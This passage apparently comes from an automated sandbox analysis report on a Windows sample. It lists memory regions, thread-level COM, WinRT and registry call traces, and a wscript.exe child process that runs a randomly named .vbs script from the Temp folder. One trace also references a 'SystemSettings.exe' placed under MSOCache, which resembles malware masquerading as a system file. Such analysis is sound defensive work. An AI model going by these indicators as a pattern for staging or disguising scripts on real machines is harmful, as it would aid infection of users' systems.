= 9244 start_va = 0x570000 end_va = 0x57ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000570000" filename = "" Region: id = 9246 start_va = 0x7ffb06370000 end_va = 0x7ffb0655afff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.drawing.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Drawing\\43de4a177616225e9b6262468e1c3b53\\System.Drawing.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.drawing\\43de4a177616225e9b6262468e1c3b53\\system.drawing.ni.dll") Region: id = 9247 start_va = 0x7ffafe830000 end_va = 0x7ffaff720fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.windows.forms.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Windows.Forms\\37004ddc6f466d807c52ca3b7f9f9827\\System.Windows.Forms.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.windows.forms\\37004ddc6f466d807c52ca3b7f9f9827\\system.windows.forms.ni.dll") Region: id = 9251 start_va = 0x6a0000 end_va = 0x79ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006a0000" filename = "" Region: id = 9286 start_va = 0x530000 end_va = 0x53ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000530000" filename = "" Region: id = 9287 start_va = 0x540000 end_va = 0x54ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000540000" filename = "" Region: id = 9295 start_va = 0x530000 end_va = 0x53ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000530000" filename = "" Region: id = 9296 start_va = 0x540000 end_va = 0x54ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000540000" filename = "" Region: id = 9297 start_va = 0x550000 end_va = 0x55ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000550000" filename = "" Region: id = 9298 start_va = 0x560000 end_va = 0x56ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000560000" filename = "" Region: id = 9299 start_va = 0x570000 end_va = 0x57ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000570000" filename = "" Region: id = 9310 start_va = 0x580000 end_va = 0x58ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000580000" filename = "" Region: id = 9311 start_va = 0x590000 end_va = 0x59ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000590000" filename = "" Region: id = 9312 start_va = 0x930000 end_va = 0x93ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000930000" filename = "" Region: id = 9313 start_va = 0x940000 end_va = 0x94ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000940000" filename = "" Region: id = 9314 start_va = 0x950000 end_va = 0x95ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000950000" filename = "" Region: id = 9315 start_va = 0x960000 end_va = 0x96ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000960000" filename = "" Region: id = 9316 start_va = 0x970000 end_va = 0x97ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000970000" filename = "" Region: id = 9317 start_va = 0xb20000 end_va = 0xb2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000b20000" filename = "" Region: id = 9318 start_va = 0xc00000 end_va = 0xc0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000c00000" filename = "" Region: id = 9319 start_va = 0xb30000 end_va = 0xb3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000b30000" filename = "" Region: id = 9320 start_va = 0xb40000 end_va = 0xb4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000b40000" filename = "" Region: id = 9321 start_va = 0xb50000 end_va = 0xb5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000b50000" filename = "" Region: id = 9322 start_va = 0xb60000 end_va = 0xb6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000b60000" filename = "" Region: id = 9323 start_va = 0xb70000 end_va = 0xb7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000b70000" filename = "" Region: id = 9324 start_va = 0xb80000 end_va = 0xb8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000b80000" filename = "" Region: id = 9325 start_va = 0xb90000 end_va = 0xb9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000b90000" filename = "" Region: id = 9326 start_va = 0xba0000 end_va = 0xbaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ba0000" filename = "" Region: id = 9343 start_va = 0xbb0000 end_va = 0xbbffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000bb0000" filename = "" Region: id = 9344 start_va = 0xbc0000 end_va = 0xbcffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000bc0000" filename = "" Region: id = 9345 start_va = 0xbd0000 end_va = 0xbdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000bd0000" filename = "" Region: id = 9351 start_va = 0xbe0000 end_va = 0xbeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000be0000" filename = "" Region: id = 9352 start_va = 0xbf0000 end_va = 0xbfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000bf0000" filename = "" Region: id = 9353 start_va = 0xc10000 end_va = 0xc1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000c10000" filename = "" Region: id = 9354 start_va = 0xc20000 end_va = 0xc2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000c20000" filename = "" Region: id = 9355 start_va = 0x2230000 end_va = 0x223ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002230000" filename = "" Region: id = 9356 start_va = 0x2270000 end_va = 0x227ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002270000" filename = "" Region: id = 9357 start_va = 0x2240000 end_va = 0x224ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002240000" filename = "" Region: id = 9358 start_va = 0x2250000 end_va = 0x225ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002250000" filename = "" Region: id = 9359 start_va = 0x2260000 end_va = 0x226ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002260000" filename = "" Region: id = 9360 start_va = 0x1af40000 end_va = 0x1af4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001af40000" filename = "" Region: id = 9361 start_va = 0x1af50000 end_va = 0x1af5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001af50000" filename = "" Region: id = 9362 start_va = 0x1af60000 end_va = 0x1af6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001af60000" filename = "" Region: id = 9363 start_va = 0x1af70000 end_va = 0x1af7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001af70000" filename = "" Region: id = 9364 start_va = 0x1af80000 end_va = 0x1af8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001af80000" filename = "" Region: id = 9365 start_va = 0x1af90000 end_va = 0x1af9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001af90000" filename = "" Region: id = 9366 start_va = 0x1afa0000 end_va = 0x1afaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001afa0000" filename = "" Region: id = 9367 start_va = 0x1afb0000 end_va = 0x1afcffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001afb0000" filename = "" Region: id = 9368 start_va = 0x1afd0000 end_va = 0x1afeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001afd0000" filename = "" Region: id = 9369 start_va = 0x1aff0000 end_va = 0x1b01ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001aff0000" filename = "" Region: id = 9370 start_va = 0x1b140000 end_va = 0x1b16ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b140000" filename = "" Region: id = 9371 start_va = 0x1b020000 end_va = 0x1b02ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b020000" filename = "" Region: id = 9372 start_va = 0x1b170000 end_va = 0x1b17ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b170000" filename = "" Region: id = 9373 start_va = 0x1b180000 end_va = 0x1b18ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b180000" filename = "" Region: id = 9374 start_va = 0x1b190000 end_va = 0x1b19ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b190000" filename = "" Region: id = 9375 start_va = 0x1b1a0000 end_va = 0x1b1affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b1a0000" filename = "" Region: id = 9376 start_va = 0x1b1b0000 end_va = 0x1b1bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b1b0000" filename = "" Region: id = 9377 start_va = 0x1b1c0000 end_va = 0x1b1cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b1c0000" filename = "" Region: id = 9378 start_va = 0x1b1d0000 end_va = 0x1b1dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b1d0000" filename = "" Region: id = 9379 start_va = 0x1b1e0000 end_va = 0x1b1effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b1e0000" filename = "" Region: id = 9380 start_va = 0x1b1f0000 end_va = 0x1b1fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b1f0000" filename = "" Region: id = 9381 start_va = 0x1b200000 end_va = 0x1b20ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b200000" filename = "" Region: id = 9382 start_va = 0x1b210000 end_va = 0x1b21ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b210000" filename = "" Region: id = 9383 start_va = 0x1b220000 end_va = 0x1b22ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b220000" filename = "" Region: id = 9384 start_va = 0x1b340000 end_va = 0x1b34ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b340000" filename = "" Region: id = 9385 start_va = 0x1b350000 end_va = 0x1b35ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b350000" filename = "" Region: id = 9386 start_va = 0x1b360000 end_va = 0x1b36ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b360000" filename = "" Region: id = 9387 start_va = 0x1b370000 end_va = 0x1b37ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b370000" filename = "" Region: id = 9388 start_va = 0x1b380000 end_va = 0x1b38ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b380000" filename = "" Region: id = 9389 start_va = 0x1b390000 end_va = 0x1b39ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b390000" filename = "" Region: id = 9401 start_va = 0x530000 end_va = 0x56ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000530000" filename = "" Region: id = 9402 start_va = 0x7ffaa2c50000 end_va = 0x7ffaa2c5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ffaa2c50000" filename = "" Region: id = 9403 start_va = 0x570000 end_va = 0x57ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000570000" filename = "" Region: id = 9405 start_va = 0x570000 end_va = 0x57ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000570000" filename = "" Region: id = 9406 start_va = 0x570000 end_va = 0x57ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000570000" filename = "" Region: id = 9407 start_va = 0x570000 end_va = 0x57ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000570000" filename = "" Region: id = 9409 start_va = 0x570000 end_va = 0x57ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000570000" filename = "" Region: id = 9410 start_va = 0x580000 end_va = 0x58ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000580000" filename = "" Region: id = 9411 start_va = 0x590000 end_va = 0x59ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000590000" filename = "" Region: id = 9412 start_va = 0x930000 end_va = 0x93ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000930000" filename = "" Region: id = 9413 start_va = 0x940000 end_va = 0x94ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000940000" filename = "" Region: id = 9415 start_va = 0x570000 end_va = 0x57ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000570000" filename = "" Thread: id = 190 os_tid = 0x450 [0233.933] CoInitializeEx (pvReserved=0x0, dwCoInit=0x2) returned 0x0 [0267.102] RoInitialize () returned 0x1 [0267.103] RoUninitialize () returned 0x0 [0286.213] WindowsCreateStringReference () returned 0x0 [0286.213] RoGetActivationFactory () returned 0x0 [0286.228] QueryInterface () returned 0x0 [0286.229] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::QueryInterface () returned 0x80004002 [0286.229] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::QueryInterface () returned 0x80004002 [0286.229] QueryInterface () returned 0x0 [0286.229] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::GetRuntimeClassName () returned 0x8000000e [0286.229] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::Release () returned 0x3 [0286.229] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::AddRef () returned 0x4 [0286.229] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::QueryInterface () returned 0x80004002 [0286.229] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::QueryInterface () returned 0x0 [0286.229] Release () returned 0x4 [0286.229] CoGetContextToken (in: pToken=0x14c810 | out: pToken=0x14c810) returned 0x0 [0286.229] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::QueryInterface () returned 0x80004002 [0286.230] CoGetContextToken (in: pToken=0x14ca60 | out: pToken=0x14ca60) returned 0x0 [0286.230] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::QueryInterface () returned 0x0 [0286.230] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::Release () returned 0x4 [0286.230] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::Release () returned 0x3 [0286.230] WindowsDeleteString () returned 0x0 [0286.230] Release () returned 0x2 [0286.230] CoGetContextToken (in: pToken=0x14d480 | out: pToken=0x14d480) returned 0x0 [0286.231] CoGetContextToken (in: pToken=0x14d380 | out: pToken=0x14d380) returned 0x0 [0286.231] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::QueryInterface () returned 0x0 [0286.231] AddRef () returned 0x4 [0286.231] Release () returned 0x3 [0286.405] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::add_TracingStatusChanged () returned 0x0 [0286.575] GenericStreamBase::Write () returned 0x0 [0286.575] GenericStreamBase::Write () returned 0x0 [0286.576] CoCreateGuid (in: pguid=0x7ffb02b4e6a0 | out: pguid=0x7ffb02b4e6a0*(Data1=0x2fa2647e, Data2=0xab78, Data3=0x4ef6, Data4=([0]=0xa4, [1]=0xea, [2]=0xaa, [3]=0xfd, [4]=0xcb, [5]=0x8e, [6]=0x23, [7]=0x41))) returned 0x0 [0286.576] GenericStreamBase::Write () returned 0x0 [0286.580] Windows::Foundation::Diagnostics::TracingStatusChangedEventArgs::QueryInterface () returned 0x0 [0286.580] Windows::Foundation::Diagnostics::TracingStatusChangedEventArgs::AddRef () returned 0x3 [0286.580] Windows::Foundation::Diagnostics::TracingStatusChangedEventArgs::QueryInterface () returned 0x80004002 [0286.580] Windows::Foundation::Diagnostics::TracingStatusChangedEventArgs::QueryInterface () returned 0x0 [0286.580] Release () returned 0x3 [0286.580] CoGetContextToken (in: pToken=0x14c5c0 | out: pToken=0x14c5c0) returned 0x0 [0286.580] Windows::Foundation::Diagnostics::TracingStatusChangedEventArgs::QueryInterface () returned 0x80004002 [0286.582] WindowsCreateString () returned 0x0 [0286.583] Windows::Foundation::Diagnostics::TracingStatusChangedEventArgs::AddRef () returned 0x4 [0286.583] Windows::Foundation::Diagnostics::TracingStatusChangedEventArgs::Release () returned 0x3 [0286.583] Windows::Foundation::Diagnostics::TracingStatusChangedEventArgs::get_Enabled () returned 0x0 [0286.595] EtwEventRegister () returned 0x0 [0286.598] EtwEventSetInformation () returned 0x0 [0286.601] EtwEventRegister () returned 0x0 [0286.601] EtwEventSetInformation () returned 0x0 [0286.998] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x5d82b0*=0x178, lpdwindex=0x14e154 | out: lpdwindex=0x14e154) returned 0x0 [0300.725] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x641130*=0x2e8, lpdwindex=0x14de44 | out: lpdwindex=0x14de44) returned 0x0 [0301.207] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x5d82b0*=0x178, lpdwindex=0x14e154 | out: lpdwindex=0x14e154) returned 0x0 [0301.221] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x641180*=0x2f0, lpdwindex=0x14de44 | out: lpdwindex=0x14de44) returned 0x0 [0301.356] CoWaitForMultipleHandles (dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x5d82b0*=0x178, lpdwindex=0x14e154) Thread: id = 203 os_tid = 0xc94 Thread: id = 265 os_tid = 0x1314 Thread: id = 271 os_tid = 0xc5c [0267.144] CoGetContextToken (in: pToken=0x1a8ff430 | out: pToken=0x1a8ff430) returned 0x800401f0 [0271.910] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0271.911] RoInitialize () returned 0x1 [0271.911] RoUninitialize () returned 0x0 Thread: id = 283 os_tid = 0xdac Thread: id = 286 os_tid = 0xdd4 Thread: id = 293 os_tid = 0xd54 Thread: id = 298 os_tid = 0xd78 Thread: id = 299 os_tid = 0xdbc [0286.842] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0286.843] CoGetContextToken (in: pToken=0x1b33f470 | out: pToken=0x1b33f470) returned 0x0 [0286.843] CObjectContext::QueryInterface () returned 0x0 [0286.843] CObjectContext::GetCurrentThreadType () returned 0x0 [0286.843] Release () returned 0x0 [0286.843] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x1 [0286.843] CoUninitialize () [0286.843] RoInitialize () returned 0x1 [0286.844] RoUninitialize () returned 0x0 [0297.681] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\.NETFramework\\AppContext", ulOptions=0x0, samDesired=0x20019, phkResult=0x1b33b988 | out: phkResult=0x1b33b988*=0x0) returned 0x2 [0297.686] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\SystemSettings.exe", nBufferLength=0x105, lpBuffer=0x1b33e3c0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\SystemSettings.exe", lpFilePart=0x0) returned 0x28 Thread: id = 300 os_tid = 0xa44 Thread: id = 302 os_tid = 0x122c [0288.421] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0288.422] CoGetContextToken (in: pToken=0x79f8a0 | out: pToken=0x79f8a0) returned 0x0 [0288.422] CObjectContext::QueryInterface () returned 0x0 [0288.422] CObjectContext::GetCurrentThreadType () returned 0x0 [0288.422] Release () returned 0x0 [0288.422] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x1 [0288.422] CoUninitialize () [0288.422] RoInitialize () returned 0x1 [0288.422] RoUninitialize () returned 0x0 Thread: id = 305 os_tid = 0xda0 Process: id = "23" image_name = "wscript.exe" filename = "c:\\windows\\system32\\wscript.exe" page_root = "0x30a7c000" os_pid = "0xcfc" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "21" os_parent_pid = "0xbf4" cmd_line = "\"C:\\Windows\\System32\\WScript.exe\" \"C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Temp\\dc0c49a9-c59b-4342-8728-352ecf76477a.vbs\" " cur_dir = "C:\\portSession\\" os_username = "XC64ZB\\RDhJ0CNFevzX" bitness = "32" os_groups = "XC64ZB\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f443" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 5955 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 5956 start_va = 0xfde7c50000 end_va = 0xfde7d4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000fde7c50000" filename = "" Region: id = 5957 start_va = 0xfde7e00000 end_va = 0xfde7ffffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000fde7e00000" filename = "" Region: id = 5958 start_va = 0x2e24f800000 end_va = 0x2e24f81ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000002e24f800000" filename = "" Region: id = 5959 start_va = 0x2e24f820000 end_va = 0x2e24f834fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000002e24f820000" filename = "" Region: id = 5960 start_va = 0x2e24f840000 end_va = 0x2e24f843fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000002e24f840000" filename = "" Region: id = 5961 start_va = 0x2e24f850000 end_va = 0x2e24f850fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000002e24f850000" filename = "" Region: id = 5962 start_va = 0x2e24f860000 end_va = 0x2e24f861fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000002e24f860000" filename = "" Region: id = 5963 start_va = 0x7df5ff610000 end_va = 0x7ff5ff60ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007df5ff610000" filename = "" Region: id = 5964 start_va = 0x7ff6e5030000 end_va = 0x7ff6e5052fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff6e5030000" filename = "" Region: id = 5965 start_va = 0x7ff6e50d0000 end_va = 0x7ff6e50fdfff monitored = 0 entry_point = 0x7ff6e50d2ec0 region_type = mapped_file name = "wscript.exe" filename = "\\Windows\\System32\\wscript.exe" (normalized: "c:\\windows\\system32\\wscript.exe") Region: id = 5966 start_va = 0x7ffb201b0000 end_va = 0x7ffb20370fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 5967 start_va = 0x2e24fa40000 end_va = 0x2e24fb3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000002e24fa40000" filename = "" Region: id = 5968 start_va = 0x7ffb1cf80000 end_va = 0x7ffb1d167fff monitored = 0 entry_point = 0x7ffb1cfaba70 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 5969 start_va = 0x7ffb1feb0000 end_va = 0x7ffb1ff5cfff monitored = 0 entry_point = 0x7ffb1fec81a0 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 5970 start_va = 0x2e24f800000 end_va = 0x2e24f80ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000002e24f800000" filename = "" Region: id = 5971 start_va = 0x7ff6e4f30000 end_va = 0x7ff6e502ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff6e4f30000" filename = "" Region: id = 5972 start_va = 0x2e24f870000 end_va = 0x2e24f92dfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 5978 start_va = 0x7ffb1faf0000 end_va = 0x7ffb1fb96fff monitored = 0 entry_point = 0x7ffb1fb058d0 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 5979 start_va = 0x7ffb1dde0000 end_va = 0x7ffb1de7cfff monitored = 0 entry_point = 0x7ffb1dde78a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 5980 start_va = 0xfde8000000 end_va = 0xfde80fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000fde8000000" filename = "" Region: id = 5981 start_va = 0x7ffb20080000 end_va = 0x7ffb200dafff monitored = 0 entry_point = 0x7ffb200938b0 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 5982 start_va = 0x7ffb1ff60000 end_va = 0x7ffb2007bfff monitored = 0 entry_point = 0x7ffb1ffa02b0 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 5983 start_va = 0x7ffb1fc90000 end_va = 0x7ffb1fde5fff monitored = 0 entry_point = 0x7ffb1fc9a8d0 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 5984 start_va = 0x7ffb1d8e0000 end_va = 0x7ffb1da65fff monitored = 0 entry_point = 0x7ffb1d92ffc0 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 5985 start_va = 0x7ffb200e0000 end_va = 0x7ffb201a0fff monitored = 0 entry_point = 0x7ffb20100da0 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 5986 start_va = 0x7ffb1d5b0000 end_va = 0x7ffb1d82cfff monitored = 0 entry_point = 0x7ffb1d684970 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\System32\\combase.dll" (normalized: "c:\\windows\\system32\\combase.dll") Region: id = 5987 start_va = 0x2e24f810000 end_va = 0x2e24f816fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000002e24f810000" filename = "" Region: id = 5988 start_va = 0x7ffb1d200000 end_va = 0x7ffb1d269fff monitored = 0 entry_point = 0x7ffb1d236d50 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\System32\\bcryptprimitives.dll" (normalized: "c:\\windows\\system32\\bcryptprimitives.dll") Region: id = 5989 start_va = 0x7ffb1f890000 end_va = 0x7ffb1f9d2fff monitored = 0 entry_point = 0x7ffb1f8b8210 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 5992 start_va = 0x7ffb1aed0000 end_va = 0x7ffb1aed9fff monitored = 0 entry_point = 0x7ffb1aed1350 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 5993 start_va = 0x2e24f930000 end_va = 0x2e24fa0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000002e24f930000" filename = "" Region: id = 5994 start_va = 0x2e24f930000 end_va = 0x2e24f936fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000002e24f930000" filename = "" Region: id = 5995 start_va = 0x2e24fa00000 end_va = 0x2e24fa0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000002e24fa00000" filename = "" Region: id = 5996 start_va = 0x2e24f940000 end_va = 0x2e24f978fff monitored = 0 entry_point = 0x2e24f9412f0 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 5997 start_va = 0x2e24fb40000 end_va = 0x2e24fcc7fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000002e24fb40000" filename = "" Region: id = 5998 start_va = 0x7ffb1fe60000 end_va = 0x7ffb1fe9afff monitored = 0 entry_point = 0x7ffb1fe612f0 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 5999 start_va = 0x2e24fcd0000 end_va = 0x2e24fe50fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000002e24fcd0000" filename = "" Region: id = 6000 start_va = 0x2e24fe60000 end_va = 0x2e25125ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000002e24fe60000" filename = "" Region: id = 6001 start_va = 0x2e24f940000 end_va = 0x2e24f942fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "wscript.exe.mui" filename = "\\Windows\\System32\\en-US\\wscript.exe.mui" (normalized: "c:\\windows\\system32\\en-us\\wscript.exe.mui") Region: id = 6002 start_va = 0x2e24f950000 end_va = 0x2e24f950fff monitored = 1 